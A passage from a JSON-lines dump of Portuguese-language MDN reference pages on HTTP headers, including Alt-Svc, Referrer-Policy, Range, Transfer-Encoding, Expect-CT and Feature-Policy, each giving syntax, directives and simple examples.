120\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 7.1.3: Retry-After | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Google Webmaster blog: How to deal with planned site downtime\n* `503` (Service Unavailable)\n* `301` (Moved Permanently)"}
{"title":"Alt-Svc - HTTP","text":"Alt-Svc\n=======\n\nO cabeçalho de resposta HTTP **`Alt-Svc`** é usado para indicar que serviços alternativos que podem ser utilizados para alcançar o mesmo recurso. Um serviço alternativo é definido por uma combinação de protocolo/host/porta.\n\nSintaxe\n-------\n```\n\nAlt-Svc: clear\nAlt-Svc: <protocol-id>=<alt-authority>; ma=<max-age>\nAlt-Svc: <protocol-id>=<alt-authority>; ma=<max-age>; persist=1\n```\n\n\n`clear`\n\nO valor especial ''clear\" indica que todas as requisições alternativas para aquela origem devem ser invalidadas.\n\n`<protocol-id>`\n\nO identificador de protocolo ALPN (en-US). Exemplos incluem o h2 para HTTP/2 e h3-25 como rascunho 25 para o protocolo HTTP/3.\n\n`<alt-authority>`\n\nA cadeia de caracteres entre aspas especificando a autoridade alternativa que consiste em uma sobrecarga de host opicional, dois pontos e um número de porta mandatório.\n\n`ma=<max-age>`Optional\n\nO número de segundos que o serviço alternativo é considerado \"fresco\". Se omitido, seu padrão é 24 horas. Entradas de serviços alternativos podem ser cacheados até o limite de *<max-age>* segundos, menos a idade da resposta (do cabeçalho Age). Se a entrada cacheada expirar, o cliente não pode mais usar o serviço alternativo para novas conexões.\n\n`persist=1`Optional\n\nEntradas cacheadas de serviços alternativos geralmente são limpas em mudanças nas configurações de rede. O uso do parâmetro persist=1 assegura que a entrada não será deletada para tais mudanças.\n\nMúltiplas entradas podem ser especificadas em um único cabeçalho Alt-Svc usando vírgula como separador. Neste caso, as primeiras entradas são consideradas as mais preferíveis.\n\nExemplos\n--------\n```\n\nAlt-Svc: h2=\":443\"; ma=2592000;\nAlt-Svc: h2=\":443\"; ma=2592000; persist=1\nAlt-Svc: h2=\"alt.example.com:443\", h2=\":443\"\nAlt-Svc: h3-25=\":443\"; ma=3600, h2=\":443\"; ma=3600\n```\n\nEspecificações\n--------------\n\n| Especificação | Status | Comentários |\n| --- | --- | --- |\n| RFC 7838 | IETF RFC | Definição inicial. |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Identificando recursos na Web"}
{"title":"Accept-CH - HTTP","text":"Accept-CH\n=========\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO cabeçalho **`Accept-CH`** é colocado pelo servidor para especificar quais cabeçalhos Client Hints (en-US) o cliente deve incluir nas requisições subsequentes.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | ? |\n\n**Nota:** Client Hints são acessíveis somente em origens seguras (via TLS). Os cabeçalhos Accept-CH e Accept-CH-Lifetime devem ser persistidos por todas as requisições seguras para assegurar que os Client Hints são enviados com segurança.\n\nSintaxe\n-------\n```\n\nAccept-CH: <lista de client hints>\n```\n\nExemplos\n--------\n```\n\nAccept-CH: DPR, Viewport-Width\nAccept-CH: Width\nAccept-CH-Lifetime: 86400\nVary: DPR, Viewport-Width, Width\n```\n\n\n**Nota:** Lembre de variar a resposta (en-US) baseado nos client hints aceitos.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Accept-CH-Lifetime`\n* `Vary`"}
{"title":"X-Content-Type-Options - HTTP","text":"X-Content-Type-Options\n======================\n\nO header de resposta HTTP **X-Content-Type-Options** é um marcador usado pelo servidor para indicar que os MIME types enviados pelos headers `Content-Type` não devem ser alterados e seguidos. Isto permite que o usuário opte por não participar do chamado MIME Type Sniffing ou, em outras palavras, é uma forma de dizer que os webmasters estão vendo o que você está fazendo.\n\nEste header foi incluído pela Microsoft no IE 8 como uma maneira de webmasters serem capazes de bloquear o *sniffing* de conteúdo que acontecia na época, e podia transformar tipos MIME não executáveis em tipos executáveis. Desde então, outros browsers acataram a ideia mesmo que seus algoritmos de definição de MIME fossem menos agressivos.\n\nExperts em segurança da informação geralmente esperam que este header esteja presente.\n\n**Nota:** Nota: `nosniff` só se aplica para tipos \"script\" e \"style\". Também, aplicar `nosniff` em tipos de imagem provou-se ser incompatível com sites existentes.\n\n\n|  |  |\n| --- | --- |\n| Tipo do header | Header de resposta |\n| Alteração de nome proibida | não |\n\nSintaxe\n-------\n```\n\nX-Content-Type-Options: nosniff\n```\n\nDiretivas\n---------\n\n`nosniff`\n\nBloqueia uma requisição se o tipo for:\n\n* \"`style`\" e o tipo MIME não é \"`text/css`\", ou\n* \"`script`\" e o tipo MIME não é um tipo JavaScript.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # x-content-type-options-header |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Content-Type`\n* A definição original do X-Content-Type-Options pela Microsoft.\n* A ferramenta Mozilla Observatory testando a configuração (incluindo este header) de páginas por segurança e precaução.\n* Mitigando ataques de confusão de MIME no Firefox"}
{"title":"Referrer-Policy - HTTP","text":"Referrer-Policy\n===============\n\nO cabeçalho HTTP **`Referrer-Policy`** controla quanta informação de referência (en-US) (enviado pelo cabeçalho `Referer`) deve ser incluída nas requisições.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n\n**Nota:** O nome original do cabeçalho `Referer` é um erro ortográfico da palavra \"referrer\". O cabeçalho `Referrer-Policy` não compartilha do mesmo erro ortográfico.\n```\n\nReferrer-Policy: no-referrer\nReferrer-Policy: no-referrer-when-downgrade\nReferrer-Policy: origin\nReferrer-Policy: origin-when-cross-origin\nReferrer-Policy: same-origin\nReferrer-Policy: strict-origin\nReferrer-Policy: strict-origin-when-cross-origin\nReferrer-Policy: unsafe-url\n```\n\nDiretivas\n---------\n\n`no-referrer`\n\nO cabeçalho `Referer` será omitido completamente. Nenhuma informação de referência será enviada junto com as requisições.\n\n`no-referrer-when-downgrade` (padrão)\n\nEste é o comportamento padrão quando nenhuma política é especificada, ou se o valor provido é inválido. A origem, caminho e cadeia de consulta (origin, path, and querystring) da URL são enviadas como referência quando os níveis de protocolo de segurança continuam os mesmos (HTTP→HTTP, HTTPS→HTTPS) ou melhora (HTTP→HTTPS), mas não é enviado para destinos menos seguros (HTTPS→HTTP).\n\n**Nota:** Existe um esforço dos navegadores em mover para um valor padrão mais estrito, chamado de `strict-origin-when-cross-origin` (veja https://github.com/whatwg/fetch/pull/952), considere usar este valor (ou um mais estrito), se possível, quando trocando a Referrer-Policy.\n\n`origin`\n\n Somente envia a origem (origin) do documento como referência.\n Por exemplo, um documento em `https://example.com/page.html` irá mandar a referência `https://example.com/`.\n\n\n`origin-when-cross-origin`\n\nEnvia a origem, caminho e cadeia de consulta quando performando uma requisição same-origin (en-US), mas somente envia a origem do documento em outros casos.\n\n`same-origin`\n\nA referência será enviada para origens do mesmo site (en-US), mas requisições entre origens não enviarão informação de referência.\n\n`strict-origin`\n\nEnvia somente a origem do documento como referência quando o nível de protocolo de segurança se mantém o mesmo (HTTPS→HTTPS), mas não o envia para um destinatário menos seguro (HTTPS→HTTP).\n\n`strict-origin-when-cross-origin`\n\nEnvia a origem, caminho e cadeia de consulta quando performando uma requisição de mesma origem, somente envia a origem quando o nível do protocolo de segurança se mantém o mesmo durante uma requisição entre origens (HTTPS→HTTPS), e envia nenhum cabeçalho para destinatários menos seguros (HTTPS→HTTP).\n\n`unsafe-url`\n\nEnvia a origem, o caminho e a cadeia de consulta quando performando qualquer requisição, independente da segurança.\n\n**Aviso:** Esta política irá vazar informações potencialmente privadas da URL HTTPS do recurso para origens inseguras. Considere o impacto desta configuração com cuidado.\n\nIntegração com HTML\n-------------------\n\nVocê também pode colocar política de referência dentro do HTML. Por exemplo, você pode colocar uma política de referência para o documento inteiro com um elemento `<meta>` com um nome de `referrer`:\n\n\n```html\n<meta name=\"referrer\" content=\"origin\" />\n```\n\n\nOu colocar ele para requisições individuais com o atributo `referrerpolicy` nos elementos `<a>`, `<area>`, `<img>`, `<iframe>`, `<script>`, or `<link>`:\n\n\n```html\n<a href=\"http://example.com\" referrerpolicy=\"origin\"></a>\n```\n\n\nAlternativamente, uma relação de link (en-US) `noreferrer` em um elemento `a`, `area`, ou `link` pode ser colocada:\n\n\n```html\n<a href=\"http://example.com\" rel=\"noreferrer\"></a>\n```\n\nIntegração com CSS\n------------------\n\nCSS pode buscar recursos referênciados de suas folhas de estilo. Estes recursos seguem a política de referência também como:\n\n* Folhas de estilo CSS externas usam a política padrão (`no-referrer-when-downgrade`), a não ser que seja sobrescrita por um cabeçalho HTTP `Referrer-Policy` na resposta da folha de estilo CSS.\n* Para elementos `<style>` ou atributos `style` (en-US), a política de referência do dono do documento é utilizada.\nExemplos\n--------\n\n| Política | Documento | Navegar para | Referência |\n| --- | --- | --- | --- |\n| `no-referrer` | https://example.com/page | *qualquer lugar* | *(sem referência)* |\n| `no-referrer-when-downgrade` | https://example.com/page | https://example.com/otherpage | https://example.com/page |\n| https://mozilla.org | https://example.com/page |\n| **http**://example.org | *(sem referência)* |\n| `origin` | https://example.com/page | *qualquer lugar* | https://example.com/ |\n| `origin-when-cross-origin` | https://example.com/page | https://example.com/otherpage | https://example.com/page |\n| https://mozilla.org | https://example.com/ |\n| **http**://example.com/page | https://example.com/ |\n| `same-origin` | https://example.com/page | https://example.com/otherpage | https://example.com/page |\n| https://mozilla.org | *(sem referência)* |\n| `strict-origin` | https://example.com/page | https://mozilla.org | https://example.com/ |\n| **http**://example.org | *(sem referência)* |\n| **http**://example.com/page | *qualquer lugar* | http://example.com/ |\n| `strict-origin-when-cross-origin` | https://example.com/page | https://example.com/otherpage | https://example.com/page |\n| https://mozilla.org | https://example.com/ |\n| **http**://example.org | *(sem referência)* |\n| `unsafe-url` | https://example.com/page?q=123 | *qualquer lugar* | https://example.com/page?q=123 |\n\n### Especificando uma política de recuo (*fallback)*\n\nSe você quer especificar uma política de recuo em qualquer caso que a política desejada não tenha um grande suporte do navegador, use uma lista separada por vírgulas com a política desejada especificada por último:\n```\n\nReferrer-Policy: no-referrer, strict-origin-when-cross-origin\n```\n\n\nNo cenário acima, `no-referrer` só será usada se `strict-origin-when-cross-origin` não for suportada pelo navegador.\n\n**Nota:** Especificar múltiplos valores só é suportado no cabeçalho HTTP `Referrer-Policy`, e não no atributo `referrerpolicy`.\n\nEspecificações\n--------------\n\n| Especificação | Status |\n| --- | --- |\n| Referrer Policy | Rascunho do editor |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n**Nota:** - Da versão 53 em diante, Gecko possui uma preferência disponível em `about:config` para permitir usuários colocarem a `Referrer-Policy` padrão — `network.http.referer.userControlPolicy`.\n\n* Da versão 59 em diante (veja #587523), isso foi substituído por `network.http.referer.defaultPolicy` e `network.http.referer.defaultPolicy.pbmode`.Valores possíveis são:- 0 — `no-referrer`\n* 1 — `same-origin`\n* 2 — `strict-origin-when-cross-origin`\n* 3 — `no-referrer-when-downgrade` (o padrão)\n\nVeja também\n-----------\n\n* HTTP referer on Wikipedia\n* Quando usando Fetch: `Request.referrerPolicy` (en-US)\n* A obsoleta diretiva `Content-Security-Policy` `referrer` (en-US).\n* Política de mesma origem (*Same-origin policy*) (en-US)\n* Tighter Control Over Your Referrers – Mozilla Security Blog"}
{"title":"Accept - HTTP","text":"Accept\n======\n\nO cabeçalho de requisição HTTP **`Accept`** anuncia quais tipos de conteúdo, expressos como MIME types, o cliente é capaz de entender. Usando negociação de conteúdo, o servidor então seleciona uma das propostas, a usa e então informa o cliente da sua escolha com o cabeçalho de resposta `Content-Type`. Navegadores colocam valores adequados para este cabeçalho dependendo do contexto onde a requisição é feita: quando buscando um CSS *stylesheet*, um valor diferente é colocado para a requisição, o mesmo acontece com imagens, vídeos ou scripts.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n| CORS-safelisted request header (en-US) | \n sim, com a restrição adicional de que valores não podem conter um\n *byte de requisição de cabeçalho CORS inseguro:*`\"():<>?@[\\]{}`, Delete, Tab e outros\n caracteres de controle: 0x00 à 0x19.\n  |\n\nSintaxe\n-------\n```\n\nAccept: <MIME_type>/<MIME_subtype>\nAccept: <MIME_type>/*\nAccept: */*\n\n// Múltiplos tipos, com pesos devido à sintaxe quality value (en-US):\nAccept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8\n```\n\nDiretivas\n---------\n\n`<MIME_type>/<MIME_subtype>`\n\nUm único e preciso MIME type, como por exemplo: `text/html`.\n\n`<MIME_type>/*`\n\nUm MIME type, mas com qualquer subtipo. `image/*` vai coincidir com `image/png`, `image/svg`, `image/gif` e outros tipos de imagens.\n\n`*/*`\n\nQualquer MIME type.\n\n`;q=` (fator de q de peso [q-factor])\n\nQualquer valor usado é colocado em uma ordem de preferência expressada usando o quality value (en-US) relativo chamado *peso.*\n\nExemplos\n--------\n```\n\nAccept: text/html\n\nAccept: image/*\n\n// Padrão geral\nAccept: */*\n\n// Padrão para requisições de navegação\nAccept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 5.3.2: Accept | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Negociação de conteúdo HTTP\n* Cabeçalho com o resultado da negociação de conteúdo: `Content-Type`\n* Outros cabeçalhos similares: `TE`, `Accept-Encoding`, `Accept-Charset`, `Accept-Language`"}
{"title":"Range - HTTP","text":"Range\n=====\n\nO cabeçalho de requisição HTTP **`Range`** indica a parte do documento que o servidor deve retornar. Várias partes podem ser requisitadas com um cabeçalho `Range` de uma vez, e o servidor pode mandar de volta estes intervalos em um documento de múltiplas partes. Se o servidor manda de volta os intervalos, ele usa o `206` `Partial Content` para resposta. Se os intervalos são inválidos, o servidor retorna o erro `416` `Range Not Satisfiable`. O servidor também pode ignorar o cabeçalho `Range` e enviar o documento inteiro com um código de status `200`.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nRange: <unit>=<range-start>-\nRange: <unit>=<range-start>-<range-end>\nRange: <unit>=<range-start>-<range-end>, <range-start>-<range-end>\nRange: <unit>=<range-start>-<range-end>, <range-start>-<range-end>, <range-start>-<range-end>\nRange: <unit>=-<suffix-length>\n```\n\nDiretivas\n---------\n\n<unit>\n\nA unidade no qual os intervalos são especificados. É geralmente em `bytes`.\n\n<range-start>\n\nUm inteiro na dada unidade indicando o começo da requisição de intervalo.\n\n<range-end>\n\nUm inteiro na dada unidade indicando o fim da requisição de intervalo. Este valor é opcional e, se omitido, o fim do documento é utilizado como fim do intervalo.\n\n<suffix-length>\n\nUm inteiro na dada unidade indicando o número de unidades ao fim do arquivo para retornar.\n\nExemplos\n--------\n\nRequisitando três intervalos deste arquivo.\n```\n\nRange: bytes=200-1000, 2000-6576, 19000-\n```\n\n\nRequisitando os primeiros 500 e últimos 500 *bytes* do arquivo. A requisição pode ser rejeitada pelo servidor se os intervalos se sobrepõem.\n```\n\nRange: bytes=0-499, -500\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7233, sessão 3.1: Range | Hypertext Transfer Protocol (HTTP/1.1): Range Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `If-Range`\n* `Content-Range`\n* `Content-Type`\n* `206` `Partial Content`\n* `416` `Range Not Satisfiable`"}
{"title":"Expect-CT - HTTP","text":"Expect-CT\n=========\n\nO cabeçalho `Expect-CT` deixa sites optarem em reportar e/ou forçar requirimentos do Certificado de Transparência (en-US), para previnir o uso incorreto de certificados do site passar despercebido.\n\nOs requerimentos do CT podem ser satisfeitos utilizando qualquer um dos seguintes mecanismos:\n\n* A extensão do certificado X.509v3 permite embebedar uma marcação de data e hora de certificados assinados reportados por *logs* individuais.\n* A extensão TLS do tipo `signed_certificate_timestamp` enviada durante um *handshake*.\n* Dando suporte a OCSP (que é, a extensão TLS `status_request`) e provendo uma `SignedCertificateTimestampList`\n\n**Nota:** Quando um site habilita o cabeçalho `Expect-CT`, ele está requisitando que o navegador verifique se qualquer certificado para aquele site aparece em ***logs* CT públicos**.\n\n**Nota:** **Navegadores ignoram** o cabeçalho `Expect-CT` através do HTTP; o cabeçalho só tem efeito em conexões HTTPS.\n\n**Nota:** O `Expect-CT` provavelmente se tornará obsoleto em Junho de 2021. Desde Maio de 2018, esperasse que novos certificados suportem SCTs por padrão. Certificados de antes de Maio de 2018 eram permitidos ter uma vida útil de 39 meses, todos eles serão expirados em Junho de 2021.\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nExpect-CT: report-uri=\"<uri>\",\n           enforce,\n           max-age=<age>\n```\n\nDiretivas\n---------\n\n`max-age`\n\nO número de segundos depois da recepção do cabeçalho `Expect-CT` durante o qual o agente de usuário deve identificar o hospedeiro da mensagem recebida como um hospedeiro `Expect-CT` conhecido.\n\nSe o cache receber um valor maior do que ele pode representar, or se qualquer um dos seus cálculos subsequentes estourar o limite, o cache vai considerar este valor a ser 2,147,483,648 (231) ou o maior inteiro positivo que ele pode representar.\n\n`report-uri=\"<uri>\"` Optional\n\nA URI onde o agente de usuário deve reportar falhas `Expect-CT`.\n\nQuando presente com a diretiva `enforce`, a configuração é referida como uma configuração \"executar-e-reportar\", sinalizando ao agente de usuário que ambos o *compliance* da política do Certificado de Transparência deve ser executado *e* que as violações devem ser reportadas.\n\n`enforce` Optional\n\nSinais ao agente do usuário que conforme a política do Certificado de Transparência deve ser executada (ao invés de somente ser reportada) e o agente de usuário deve recusar futuras conexões que violem a política do Certificado de Transparência.\n\nQuando ambas as diretivas `enforce` e `report-uri` estiverem presentes, configuração é referida como uma configuração \"executar-e-reportar\", sinalizando ao agente de usuário que ambos o *compliance* da política do Certificado de Transparência deve ser executado *e* que as violações devem ser reportadas.\n\nExemplo\n-------\n\nO seguinte exemplo especifica uma execução do Certificado de Transparência por 24 horas e reporta violações para `foo.example`.\n```\n\nExpect-CT: max-age=86400, enforce, report-uri=\"https://foo.example/report\"\n```\n\nNotas\n-----\n\nCertificados de Autoridade Raiz (*Root CAs*) manualmente adicionados para a loja de confiança, sobrescrevendo e suprimindo relatórios e execuções do `Expect-CT`.\n\nNavegadores não vão lembrar de uma política `Expect-CT`, a menos que o site tenha \"provado\" que ele pode servir um certificado satisfazendo os requerimentos do certificado de transparência. Navegadores implementam seus próprios modelos em relação a quais *logs* CT são considerados confiáveis para o certificado logar.\n\nVersões do Chrome são desenvolvidas para parar execução de políticas de `Expect-CT` 10 semanas depois da data de instalação da versão.\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| Internet Draft | Expect-CT Extension for HTTP |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Transfer-Encoding - HTTP","text":"Transfer-Encoding\n=================\n\nO cabeçalho **`Transfer-Encoding`** especifica a forma de codificação usada para transferir seguramente o corpo da mensagem (payload body (en-US)) para o usuário.\n\n**Nota:** HTTP/2 não suporta o mecanismo de codificação de trasferência fragmentada do HTTP 1.1, já que ele provém o próprio, e mais eficiente, mecanismo para *streaming* de dados.\n\n`Transfer-Encoding` é um cabeçalho salto-por-salto (*hop-by-hop header*), que é aplicado a uma mensagem entre dois nós, não ao recurso em si. Cada segmento da conexão multi-nós pode usar diferentes valores `Transfer-Encoding`. Se você quer comprimir dados através da conexão inteira, use o cabeçalho `Content-Encoding` ao invés disso.\n\nQuando presente em uma resposta para uma requisição `HEAD` que não tem corpo, ele indica o valor que seria aplicado a mensagem `GET` correspondente.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nTransfer-Encoding: chunked\nTransfer-Encoding: compress\nTransfer-Encoding: deflate\nTransfer-Encoding: gzip\nTransfer-Encoding: identity\n\n// Diversos valores podem ser listados, separados por vírgula\nTransfer-Encoding: gzip, chunked\n```\n\nDiretivas\n---------\n\n`chunked`\n\nDados enviados em uma série de fragmentos. O cabeçalho `Content-Length` é omitido neste caso e no começo de cada fragmento, você precisa adicionar o tamanho do fragmento atual em formato hexadecimal, seguido por '`\\r\\n`' e o fragmento em si, seguido por outro '`\\r\\n`'. O fragmento final é um fragmento normal, com exceção que seu tamanho é zero. Ele é seguido por um reboque, que consiste de uma (possívelmente vazia) sequência de cabeçalhos de entidade.\n\n`compress`\n\n Um formato usando o algoritmo Lempel-Ziv-Welch (LZW). O nome do valor foi pego do programa UNIX *compress*, que implementa o algoritmo.\n Como o programa de compressão, que desapareceu da maioria das distribuições UNIX, esta codificação de conteúdo não é usada por quase nenhum navegador atualmente, em partes por causa do seu problema de patente (que expirou em 2003).\n\n\n`deflate`\n\nUsando a estrutura zlib (definida na RFC 1950), com o algoritmo de compressão *deflate* (definido em RFC 1951).\n\n`gzip`\n\nO formato usando a codificação Lempel-Ziv (LZ77), com CRC 32-bit. Este é originalmente o formato do programa UNIX *gzip*. O padrão HTTP/1.1 também recomenda que os servidores que suportem esta codificação de conteúdo devem reconhecer `x-gzip` como um pseudônimo, para propósitos de compatibilidade.\n\n`identity`\n\nIndica a função de identidade (i.e. sem compressão, nem modificação). Este *token*, exceto se explicitamente especificado, é sempre considerado aceitável.\n\nExemplos\n--------\n\n### Codificação fragmentada\n\nCodificação fragmentada é útil quando grandes quantidade de dados estão sendo enviados para o cliente e o tamanho total da resposta pode não ser conhecido até que a requisição seja totalmente processada. Por exemplo, quando gerando uma grande tabela HTML resultante de uma consulta no banco de dados ou transmitindo grandes imagens. A resposta fragmentada se parece com isto:\n```\n\nHTTP/1.1 200 OK\nContent-Type: text/plain\nTransfer-Encoding: chunked\n\n7\\r\\n\nMozilla\\r\\n\n9\\r\\n\nDeveloper\\r\\n\n7\\r\\n\nNetwork\\r\\n\n0\\r\\n\n\\r\\n\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7230, sessão 3.3.1: Transfer-Encoding | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Accept-Encoding`\n* `Content-Encoding`\n* `Content-Length`\n* Cabeçalho que regulam o uso de reboques: `TE` (requisições) e `Trailer` (respostas).\n* Codificação de transferência fragmentada"}
{"title":"Feature-Policy - HTTP","text":"Feature-Policy\n==============\n\nO cabeçalho HTTP **`Feature-Policy`** provê um mecanismo para permitir ou proibir o uso de funcionalidades do navegador no seu próprio enquadramento, e o conteúdo dentro de quaisquer elementos `<iframe>` no documento.\n\n**Nota:** Este cabeçalho ainda está em estado experimental, e é sujeito a mudança a qualquer momento. Tenha cautela quando implementando isso no seu site. O cabeçalho agora foi renomeado para `Permissions-Policy` na especificação, e este artigo irá eventualmente ser atualizado para refletir estas atualizações.\n\nPara mais informação, veja o artigo principal Policy Feature.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nFeature-Policy: <directive> <allowlist>\n```\n\n\n`<directive>`\n\nA diretiva Feature Policy que irá aplicar a `allowlist`. Veja Diretivas abaixo para a lista de nomes de diretivas.\n\n`<allowlist>`\n{{page(\"Web/HTTP/Feature\\_Policy/Using\\_Feature\\_Policy\", \"allowlist\")}}\nDiretivas\n---------\n\n`accelerometer` (en-US)\n\nControla se o documento atual é permitido de coletar informação sobre a aceleração do dispositivo através da interface `Accelerometer` (en-US).\n\n`ambient-light-sensor` (en-US)\n\nControla se o documento atual é permitido de coletar informação sobre a quantidade de luz no ambiente ao redor do dispositivo através da interface `AmbientLightSensor` (en-US).\n\n`autoplay` (en-US)\n\nControla se o documento atual é permitido de tocar a mídia requisitada automaticamente através da interface `HTMLMediaElement` (en-US). Quando esta política é desabilitada e não há ação do usuário, o `Promise` (en-US) retornado pelo `HTMLMediaElement.play()` (en-US) irá rejeitar com uma `DOMException` (en-US). O atributo *autoplay* em elementos `<audio>` e `<video>` será ignorado.\n\n`battery` (en-US)\n\nControla se o uso da API de Status de Bateria é permitido. Quando esta política está desabilitada, o `Promise` retornado pelo`Navigator.getBattery()` irá rejeitar com um `NotAllowedError` `DOMException` (en-US).\n\n`camera` (en-US)\n\nControla se o documento atual é permitido de usar entradas de dispositivos de vídeo. Quando esta política está desabilitada, o `Promise` retornado pelo `getUserMedia()` (en-US) irá rejeitar com um `NotAllowedError` `DOMException` (en-US).\n\n`display-capture` (en-US)\n\nControla se o documento atual é permitido ou não de usar o método `getDisplayMedia()` (en-US) para capturar conteúdos de tela. Quando esta política está desabilitada, a `Promise` retornada pelo `getDisplayMedia()` irá rejeitar com um `NotAllowedError` se a permissão não for obtida para capturar os conteúdos da tela.\n\n`document-domain` (en-US)\n\nControle se o documento atual é permitido de colocar `document.domain` (en-US). Quando esta política está desabilitada, tentativas em colocar `document.domain` (en-US) irão falhar e causar uma `SecurityError` `DOMException` (en-US) a ser jogada.\n\n`encrypted-media` (en-US)\n\nControla se o documento atual é permitido de usar a API Extensões de Mídias Encriptadas (*Encrypted Media Extensions*) (en-US) (EME). Quando esta política é desabilitada, a `Promise` (en-US) retornada pelo `Navigator.requestMediaKeySystemAccess()` (en-US) irá rejeitar com um `DOMException` (en-US).\n\n`execution-while-not-rendered`\n\nControla se as tarefas devem ser executadas em enquadramentos enquanto não são renderizados (e.g. se um enquadramento é `hidden` ou `display: none`).\n\n`execution-while-out-of-viewport`\n\nControla se as tarefas devem ser executadas em enquadramentos enquanto eles estão fora da janela de visualização visível.\n\n`fullscreen` (en-US)\n\nControla se o documento atual é permitido de usar `Element.requestFullScreen()` (en-US). Quando esta política está desabilitada, a `Promise` retornada rejeita com um `TypeError` `DOMException` (en-US).\n\n`geolocation` (en-US)\n\nControla se o documento atual é permitido de usar a interface `Geolocation`. Quando a política está desabilitada, chamadas para `getCurrentPosition()` e `watchPosition()` irão causar aos *callbacks* da funções serem invocados com um `PositionError` de `PERMISSION_DENIED`.\n\n`gyroscope` (en-US)\n\nControla se o documento atual é permitido de coletar informação sobre a orientação do dispositivo através da interface `Gyroscope` (en-US).\n\n`layout-animations` (en-US)\n\nControla se o documento atual é permitido de mostrar animações de *layout*.\n\n`legacy-image-formats` (en-US)\n\nControla se o documento atual é permitido de mostrar imagens em formatos legados.\n\n`magnetometer` (en-US)\n\nControla se o documento atual é permitido de coletar informação sobre a orientação do dispositivo através da interface `Magnetometer` (en-US).\n\n`microphone` (en-US)\n\nControla se o documento atual é permitido de usar entradas de dispositivos de áudio. Quando esta política está desabilitada, a `Promise` retornada pelo `MediaDevices.getUserMedia()` (en-US) irá rejeitar com um `NotAllowedError`.\n\n`midi` (en-US)\n\nControla se o documento atual é permitido de usar a API Web MIDI (en-US). Quando esta política está desabilitada, a `Promise` retornada pelo `Navigator.requestMIDIAccess()` (en-US) irá rejeitar com um `DOMException` (en-US).\n\n`navigation-override`\n\nControla a disponibilidade de mecanismos que habilitam o autor da página a tomar controle sobre o comportamento da navegação espacial (spatial navigation), ou cancelar completamente.\n\n`oversized-images` (en-US)\n\nControla se o documento atual é permitido de baixar e mostrar imagens grandes.\n\n`payment` (en-US)\n\nControla se o documento atual permite o uso da API de Requisição de Pagamento (*Payment Request API*) (en-US). Quando esta política está desabilitada, o construtor `PaymentRequest()` (en-US) irá jogar um `SecurityError` `DOMException` (en-US).\n\n`picture-in-picture` (en-US)\n\nControla se o documento atual permite que um vídeo seja permitido tocar no modo *Picture-in-Picture* através da API correspondente.\n\n`publickey-credentials-get` (en-US)\n\nControla se o documento atual é permitido de usar a API de Autenticação Web (en-US) para resgatar credenciais de chave pública já guardadas, i.e. através do `navigator.credentials.get({publicKey: ..., ...})` (en-US).\n\n`sync-xhr` (en-US)\n\nControla se o documento atual é permitido de fazer requisições síncronas `XMLHttpRequest`.\n\n`usb` (en-US)\n\nControla se o documento atual é permitido de usar a API WebUSB.\n\n`vr` (en-US) \nDeprecated\n\nControla se o documento atual é permitido de usar a API WebVR. Quando esta política é desabilitada, o `Promise` retornado pelo `Navigator.getVRDisplays()` (en-US) irá rejeitar com um `DOMException` (en-US). Tenha em mente que o padrão WebVR está em processo de ser substituído pelo WebXR (en-US).\n\n`wake-lock` (en-US)\n\nControla se o documento atual é permitido de usar a API Wake Lock para indicar que o dispositivo não deve entrar em modo de economia de energia.\n\n`screen-wake-lock` (en-US)\n\nControla se o documento atual é permitido de utilizar a 